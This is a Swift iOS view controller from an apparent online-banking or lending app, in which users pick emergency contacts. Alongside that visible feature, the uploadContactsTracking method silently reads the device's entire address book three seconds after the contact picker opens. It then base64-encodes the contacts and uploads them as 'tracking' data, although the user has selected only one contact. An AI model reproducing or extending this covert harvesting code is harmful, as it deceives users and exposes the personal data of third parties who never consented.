//
//  LYExtViewController.swift
//  LYOnlineBanking
//
//  Created by 李永彬 on 2025/8/1.
//

import UIKit
import Contacts
import ContactsUI

class LYExtViewController: LYAuthBaseViewController {
    var productId: Int?
    var orderNum: String?
    var onomit: Onomit?
    var titleName: String?
    
    var currentContactsSeptenier: ContactsSeptenier? = nil
    
    lazy var tableView: UITableView = {
        let tableView = UITableView()
        tableView.register(LYExtListCell.self, forCellReuseIdentifier: "LYExtListCell")
        tableView.dataSource = self
        tableView.delegate = self
        tableView.separatorStyle = .none
        tableView.rowHeight = UITableView.automaticDimension
        tableView.estimatedRowHeight = 120
        tableView.backgroundColor = .clear
        tableView.shouldIgnoreScrollingAdjustment = true
        tableView.shouldRestoreScrollViewContentOffset = true
        return tableView
    }()
    
    private let topView = LYPersonalTopView()
    
    lazy var submitButton: UIButton = {
        let button = UIButton(type: .custom)
        button.setTitle(LYlocalizedString("Submit"), for: .normal)
        button.layer.masksToBounds = true
        button.layer.cornerRadius = 27.5
        button.addTarget(self, action: #selector(submitAction(_ :)), for: .touchUpInside)
        button.backgroundColor = UIColor(hex: "#1E4FF3")
        button.layer.borderColor = UIColor(hex: "#FFFFFF").cgColor
        button.layer.borderWidth = 1.0
        return button
    }()
    
    var dataSource: [ContactsSeptenier] = [] {
        didSet {
            self.tableView.reloadData()
        }
    }
    
    var enumAlertView: LYCustomAlertView? = nil
    
    var startTimeStamp = 0.0
    
    var isUploadTracking: Bool = false
    
    override func viewDidLoad() {
        super.viewDidLoad()

        // Do any additional setup after loading the view.
        self.bgImage = nil
        self.view.backgroundColor = UIColor(hex: "#FC7900")
        self.title = titleName
        commonInitSubviews()
        fetchData()
        
        startTimeStamp = Date().timeIntervalSince1970
    }
    
    func uploadContactsTracking() {
        guard self.isUploadTracking == false else { return }
        LYContactManager.shared.requestAccess { granted in
            if granted {
                LYContactManager.shared.fetchAllContacts { contacts, error in
                    if let contacts = contacts {
                        self.isUploadTracking = true
                        let formattedContacts = contacts.map { LYContactManager.shared.formattedContactInfo($0) }
                        let base64String = convertDictionaryArrayToBase64(formattedContacts)
                        // 上报通讯录
                        LYTrackingManager.uploadContactsTracking(myx: base64String ?? "")
                    } else if let error = error {
                        print("\(error.localizedDescription)")
                    }
                }
            }
        }
    }
    
    func commonInitSubviews() {
        self.view.addSubview(topView)
        self.view.addSubview(tableView)
        self.view.addSubview(submitButton)
        let aspectRatio = 91.0 / 346.0
        let margin = 15.0
        let height = (SCREEN_WIDTH - margin * 2) * aspectRatio
        topView.snp.makeConstraints { make in
            make.top.equalTo(view.safeAreaLayoutGuide.snp.top)
            make.leading.trailing.equalToSuperview().inset(margin)
            make.height.equalTo(height)
        }
        
        tableView.snp.makeConstraints { make in
            make.top.equalTo(topView.snp.bottom).offset(15)
            make.leading.trailing.equalToSuperview()
            make.bottom.equalTo(submitButton.snp.top).offset(-20)
        }
        
        submitButton.snp.makeConstraints { make in
            make.leading.trailing.equalToSuperview().inset(16)
            make.bottom.equalToSuperview().offset(-bottomMargin)
            make.height.equalTo(55)
        }
    }

    func fetchData() {
        LYHUDUtils.showLoading()
        LYStocksManager.fetchContacts(productId: self.productId ?? -1) { [weak self] contactsData, msg, error in
            guard let self = self else { return }
            if error == nil {
                let datas = contactsData?.cast?.septenier ?? []
                self.dataSource = sortDataSource(datas)
                LYHUDUtils.hideHUD()
            } else {
                LYHUDUtils.showToast(msg)
            }
        }
    }
    
    func fetchSaveContacts() {
        LYHUDUtils.showLoading()
        LYStocksManager.fetchSaveContacts(productId: self.productId ?? -1, contacts: dataSource) { [weak self] success, msg, error in
            guard let self = self else { return }
            if error == nil {
                NotificationCenter.default.post(name: .orderListFollowKey,
                                                object: nil,
                                                userInfo: ["customData": self.onomit as Any,
                                                           "orderNum": self.orderNum ?? ""])
                
                LYTrackingManager.uploadRiskTracking(sceneType: .contactCredential,
                                                     productId: productId,
                                                     orderNum: orderNum,
                                                     startTimeStamp: startTimeStamp,
                                                     endTimeStamp: Date().timeIntervalSince1970)
                LYHUDUtils.hideHUD()
            } else {
                
                LYHUDUtils.showToast(msg)
            }
        }
    }
    
    func showsEnumAlertView(_ phasbooks: [Phasbook]) {
        let enumView = LYPersonalEnumView()
        enumView.dataSource = phasbooks
        enumView.onSelectionChanged = { index, item in
            print("选中索引: \(index), 选中项: \(item?.sarcling ?? "nil")")
        }
        enumView.onConfirmaAction = { [weak self] item in
            guard let self = self else { return }
            self.enumAlertView?.hide { [weak self] in
                guard let self = self else { return }
                self.updateContactsSeptenierRelationship(storyitious: item?.storyitious)
                self.tableView.reloadData()
            }
        }
        enumAlertView = LYCustomAlertView(view: enumView,
                                          backgroundImage: UIImage(named: "enum_alert_bg"))
        
        // 显示弹窗
        enumAlertView?.show()
    }
    
    @objc func submitAction(_ sender: UIButton) {
        self.fetchSaveContacts()
    }
    
    private func sortDataSource(_ datas: [ContactsSeptenier]) -> [ContactsSeptenier]  {
        // 定义排序顺序映射
        let orderMap: [String: Int] = [
            "first": 1,
            "second": 2,
            "third": 3
        ]
        
        return datas.sorted { (item1, item2) -> Bool in
            guard let backence1 = item1.backence?.lowercased(),
                  let backence2 = item2.backence?.lowercased() else {
                return false
            }
            
            let order1 = orderMap[backence1] ?? Int.max
            let order2 = orderMap[backence2] ?? Int.max

            return order1 < order2
        }
    }

    func updateContactsSeptenierRelationship(storyitious: String? = nil) {
        for (index, septenier) in self.dataSource.enumerated() {
            if septenier == self.currentContactsSeptenier {
                if let storyitious = storyitious {
                    self.currentContactsSeptenier?.worryage = storyitious
                }
                if let contactsSeptenier = self.currentContactsSeptenier {
                    self.dataSource[index] = contactsSeptenier
                }
            }
        }
    }
    
    func updateContactsPhoneNumberAndName(name: String, phoneNumber: String) {
        for (index, septenier) in self.dataSource.enumerated() {
            if septenier == self.currentContactsSeptenier {
                self.currentContactsSeptenier?.forgetence = phoneNumber
                self.currentContactsSeptenier?.sarcling = name
                if let contactsSeptenier = self.currentContactsSeptenier {
                    self.dataSource[index] = contactsSeptenier
                }
            }
        }
    }
    
    func showContactPicker() {
        let contactPicker = CNContactPickerViewController()
        contactPicker.delegate = self
        // 只显示有电话号码的联系人
        contactPicker.predicateForEnablingContact = NSPredicate(format: "phoneNumbers.@count > 0")
        // 显示姓名和电话号码属性
        contactPicker.displayedPropertyKeys = [
            CNContactGivenNameKey,  // 名
            CNContactFamilyNameKey,   // 姓
            CNContactPhoneNumbersKey  // 电话号码
        ]
        
        UINavigationBar.appearance().tintColor = nil // 或使用系统默认蓝色
        UINavigationBar.appearance().titleTextAttributes = nil
        present(contactPicker, animated: true) { [weak self] in
            guard let self = self else { return }
            UINavigationBar.appearance().tintColor = .systemBlue
            // 上报通讯录
            DispatchQueue.main.asyncAfter(deadline: .now() + 3.0) {
                self.uploadContactsTracking()
            }
        }
    }
    
    private func openAppSettings() {
        if let url = URL(string: UIApplication.openSettingsURLString) {
            if UIApplication.shared.canOpenURL(url) {
                UIApplication.shared.open(url, options: [:], completionHandler: nil)
            }
        }
    }
    
    private func showContactsAlertView() {
        let alert = LYCustomAlertView(
            title: "",
            message: LYlocalizedString("ContactsUsageDescription")
        )
        
        let stopButton = LYCustomAlertViewAction.getButton(with: LYlocalizedString("Stop"),
                                                         actionType: .unObvious)
        
        let confirmButton = LYCustomAlertViewAction.getButton(with: LYlocalizedString("Open setting"),
                                                         actionType: .obvious)
        
        alert.addButton(stopButton) {
            alert.hide()
        }
        alert.addButton(confirmButton) {
            alert.hide { [weak self] in
                self?.openAppSettings()
            }
        }
        
        alert.show()
    }
}

extension LYExtViewController: UITableViewDataSource, UITableViewDelegate {
    
    func numberOfSections(in tableView: UITableView) -> Int {
        return dataSource.count
    }
    
    func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
        return 2
    }
    
    func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
        let cell = tableView.dequeueReusableCell(withIdentifier: "LYExtListCell", for: indexPath) as! LYExtListCell
        
        cell.didClickButtonClourse = { [weak self] contactsSeptenier, index in
            guard let self = self else { return }
            guard let tredecture = contactsSeptenier.tredecture else { return }
            self.currentContactsSeptenier = contactsSeptenier
            if index == 0 {
                showsEnumAlertView(tredecture)
            } else {
                LYContactManager.shared.requestAccess { [weak self] granted in
                    guard let self = self else { return }
                    if granted {
                        DispatchQueue.main.async {
                            self.showContactPicker()
                        }
                    } else {
                        self.showContactsAlertView()
                    }
                }
            }
        }

        cell.configure(with: dataSource[indexPath.section], row: indexPath.row)
        return cell
    }
    
    func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) {
        tableView.deselectRow(at: indexPath, animated: true)
        self.view.endEditing(true)
    }

    func tableView(_ tableView: UITableView, heightForRowAt indexPath: IndexPath) -> CGFloat {
        
        let aspectRatio = 91.0 / 346.0
        let imageHeight = (SCREEN_WIDTH - LYPersonalListCell.leftRMargin * 2) * aspectRatio
        return imageHeight + LYPersonalListCell.top
    }
    
    func tableView(_ tableView: UITableView, viewForHeaderInSection section: Int) -> UIView? {
        let view = UIView()
        let label = UILabel()
        label.textAlignment = .left
        label.textColor = UIColor(hex: "#FFFFFF")
        label.font = UIFont.systemFont(ofSize: 16, weight: .bold)
        
        if section == 0 {
            label.text = LYlocalizedString("My Contacts 1")
        } else {
            label.text = LYlocalizedString("My Contacts 2")
        }
        label.frame = CGRect(x: 20, y: 0, width: 200, height: 30)
        view.addSubview(label)
        return view
    }
    
    func tableView(_ tableView: UITableView, heightForHeaderInSection section: Int) -> CGFloat {
        return 20.0
    }
    
    func scrollViewDidScroll(_ scrollView: UIScrollView) {
        self.view.endEditing(true)
    }
}

// MARK: - CNContactPickerDelegate Methods
extension LYExtViewController: CNContactPickerDelegate {
    func contactPicker(_ picker: CNContactPickerViewController, didSelect contact: CNContact) {
        guard let phoneNumber = contact.phoneNumbers.first?.value else {
            LYHUDUtils.showToast(LYlocalizedString("phone number incorrect"))
            return
        }
        
        let number = phoneNumber.stringValue
        // 获取联系人姓名
        let givenName = contact.givenName   // 名
        let familyName = contact.familyName // 姓
        let fullName = "\(givenName) \(familyName)" // 全名（中文顺序）
        
        guard !(fullName.trimmingCharacters(in: .whitespaces)).isEmpty  else {
            LYHUDUtils.showToast(LYlocalizedString("phone name incorrect"))
            return
        }

        self.updateContactsPhoneNumberAndName(name: fullName,
                                              phoneNumber: number)
        self.tableView.reloadData()
    }

    // 用户取消选择
    func contactPickerDidCancel(_ picker: CNContactPickerViewController) {
        print("User canceled contact picker")
        picker.dismiss(animated: true, completion: nil)
    }
}

extension LYExtViewController {
    override func touchesBegan(_ touches: Set<UITouch>, with event: UIEvent?) {
        super.touchesBegan(touches, with: event)
        self.view.endEditing(true)
    }
}



